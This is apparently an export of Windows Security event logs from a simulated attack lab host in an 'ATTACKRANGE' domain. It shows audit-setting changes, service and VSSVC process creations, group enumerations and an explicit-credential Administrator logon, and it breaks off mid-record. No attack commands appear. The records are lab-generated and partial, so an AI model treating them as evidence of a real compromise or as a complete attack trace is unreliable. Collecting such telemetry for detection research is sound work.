-ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247058 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dnsserver_b0e2c53d0808a92c.cdf-ms - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247057 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_a349059b05097caa.cdf-ms - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247056 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_3f102d555ee05d33.cdf-ms - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247055 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_21f9a9c4a2f8b514.cdf-ms - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247054 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_dnsserver_0e521656ba347d64.cdf-ms - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247053 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_b001352a7f7811a4.cdf-ms - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247052 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_19ae85881f1c4f2d.cdf-ms - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247051 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_21ffbdd2a2dd92e0.cdf-ms - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247050 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$.cdf-ms - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247049 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\_0000000000000000.cdf-ms - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247211 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaf0 - New Process Name: C:\Windows\System32\dns.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x34c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\dns.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247210 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247209 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=247225 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x500 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:41:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=247224 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x500 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:41:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=247223 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x500 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:41:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=247222 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x500 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:41:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=247221 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x500 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:41:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=247220 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x500 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:41:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247219 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x834 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x34c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\svchost.exe -k swprv - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247218 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247217 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=247216 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x500 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:41:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=247215 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x500 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:41:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247214 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x500 - New Process Name: C:\Windows\System32\VSSVC.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x34c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\vssvc.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247213 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247212 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247261 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x117047 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247260 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x117047 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247259 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247258 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247257 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: 